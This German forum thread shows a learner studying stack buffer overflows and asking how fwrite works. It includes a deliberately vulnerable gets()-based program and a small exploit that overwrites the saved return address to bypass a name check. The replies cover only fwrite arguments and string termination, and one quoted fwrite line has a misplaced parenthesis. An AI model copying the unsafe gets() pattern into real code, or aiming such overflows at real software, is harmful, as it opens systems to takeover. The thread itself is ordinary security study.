Frage zu Bufferoverflow



  • Hallo ich beschäftige mich gerade mit Buffer Overflows.

    http://www.zotteljedi.de/documents/stacksmashing.pdf

    Nun zu meiner Frage:

    Was genau macht fwrite ?

    fwrite(&eip, 1, 4, stdout)

    Hier steht:
    http://www.cplusplus.com/reference/clibrary/cstdio/fwrite/

    Write block of data to stream

    Writes an array of count elements, each one with a size of size bytes, from the block of memory pointed by ptr to the current position in the stream.

    The postion indicator of the stream is advanced by the total number of bytes

    written.
    The total amount of bytes written is (size * count).

    So hab ich das jetzt mit dem fwrite verstanden aber ist das so richtig ?

    #include <stdio.h>
    
    int main ()
    {
    
      FILE * pFile;
      char buffer[] = { 'x'  ,  'y'  , 'z' };
    
      pFile = fopen ( "myfile.txt" , "wb" );
    
      fwrite (buffer , 1 ,3 , pFile );
      // die 3 steht für die anzahl der zeichen die in die datei geschrieben werden
    
      //   char buffer[] = { 'x' , 'y' , 'z' }; = 3 zeichen  x y z
    
      // buffer = die daten welche in die datei geschrieben werden sollen
      // pFile = sagt dem programm in welche datei es die daten schreiben soll
    
      // steht die 1 jetzt dafür weil z.b. buffer[0] = x ist  ?
      // x = 1 zeichen
    
      fclose (pFile);
    
      return 0;
    }
    

    Vul.exe

    #include <stdio.h>
    #include <string.h>
    
            int ask_user(void)
            {
            int ret;
            char name[10];
    
                    printf("Name: ");
                    fflush(stdout);
    
                    gets(name);
    
                    ret = strcmp(name, "abc");
    
                    if (ret == 0)
    
                    return 1;
    
            return 0;
            }
    
    int main(int argc, char *argv[])
    {
    int is_name;
    
    is_name = ask_user();
    
            if (is_name == 1)
            {
                    printf("ok\n");
                    getch();
                    return 0;
            }
    
            printf("error\n");
    
            getch();
    
    return 0;
    }
    

    Exploit.exe

    #include <stdio.h>
    
    int main(void)
    {
    
    unsigned eip = 0x004011CB;
    int i;
    
    for (i = 0; i < 20; i++)
    
    putchar('A');
    
    fwrite(&eip, 1, 4, stdout);
    
    return 0;
    }
    


  • Sieht doch ganz gut aus. Die 1 steht für die Länge eines Elementes des zu schreibenden Arrays. Am besten solltest du da sizeof(buffer[0]) oder so schreiben.

    Übrigens kannst du statt

    char buffer[] = { 'x'  ,  'y'  , 'z' };
    

    auch

    char buffer[] = "xyz";
    

    schreiben. Sieht schöner aus und schont die Finger. 😉



  • _matze schrieb:

    Übrigens kannst du statt

    char buffer[] = { 'x'  ,  'y'  , 'z' };
    

    auch

    char buffer[] = "xyz";
    

    schreiben. Sieht schöner aus und schont die Finger.

    ...und hat ein byte zuviel.
    🙂



  • Sieht schöner aus und schont die Finger.

    Ist das zweite nicht 0 terminiert und das erste nicht?

    edit: ... zu langsam



  • Klar, stimmt. Dann müsste er eigentlich

    fwrite(buffer,sizeof(buffer[0],(sizeof(buffer)-1)*sizeof(buffer[0]),pFile);
    

    schreiben, wobei sich das mit dem Fingerschonen schon wieder relativiert... 🤡



  • _matze schrieb:

    Klar, stimmt. Dann müsste er eigentlich

    fwrite(buffer,sizeof(buffer[0],(sizeof(buffer)-1)*sizeof(buffer[0]),pFile);
    

    schreiben, wobei sich das mit dem Fingerschonen schon wieder relativiert...

    quatsch, einfach: fwrite (buffer, 1, sizeof(buffer), file);
    'ne 1 passt immer. intern wird beides doch sowie nur multipliziert.
    🙂


Anmelden zum Antworten